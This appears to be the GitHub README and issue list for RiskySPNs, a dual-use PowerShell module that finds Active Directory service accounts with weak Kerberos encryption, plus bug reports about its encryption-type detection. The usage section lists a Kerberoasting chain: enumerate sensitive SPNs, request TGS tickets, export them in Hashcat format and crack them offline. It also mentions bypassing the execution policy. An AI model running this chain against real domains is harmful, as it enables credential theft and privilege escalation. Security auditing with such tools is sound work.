cyberark / riskyspn

Detect and abuse risky SPNs

RiskySPNs

RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.

For detailed information: http://www.cyberark.com/blog/service-accounts-weakest-link-chain/

Usage

Install the module

Import-Module .\RiskySPNs.psm1

Or just load the script (you can also IEX from web)

. .\Find-PotentiallyCrackableAccounts.ps1

Make sure Set-ExecutionPolicy is Unrestricted or Bypass

Get information about a function (very detailed :))

Get-Help Get-TGSCipher -Full

All fucntions also have -Verbose mode

Search vulnerable SPNs

Find vulnerable accounts

Find-PotentiallyCrackableAccounts

Sensitive + RC4 = $$$

Generate full deatiled report about vulnerable accounts (CISO <3)

Export-PotentiallyCrackableAccounts

Get tickets

Request Kerberos TGS for SPN

Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"

Or

Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

The fun stuff :)

Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3

riskyspn's Issues

Need consistency in usage of -band and -eq

$EncType is not evaluated properly.

(24 -band 16 -eq 16)

Is false whereas

((24 -band 16) -eq 16)

Is true.

Result is all accounts appear to be using RC4-HMAC when they could be using AES128 or AES256.

UTF16 to UTF8

The script (on Windows 10) generated an UTF16 file, I had to convert it in UTF8 to use with hashcat and John.

Consider publishing to PowerShell Gallery?

Hi!

Just flipped through the code, very cool : ) Have you considered publishing this to the PowerShell Gallery? Makes it a bit more discoverable, improves re-usability (other folks can use it as a dependency without much effort), simple to install, etc.

It's pretty straightforward, and if you don't want to manually do it, you could have AppVeyor do it for you each time you commit (perhaps with a gate on commit message). If you're up for it and would like any help, hit me up!

Cheers!

Get-TGSCipher etype detection reprots AES256 but ticket is actually RC4

Using the function I get:

EncryptionType : AES256-CTS-HMAC-SHA-1 (18)

Using a client to connect to the service, an RC4 ticket is issued (as seen in both client-side klist and KDC-side Windows event logs):

    KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)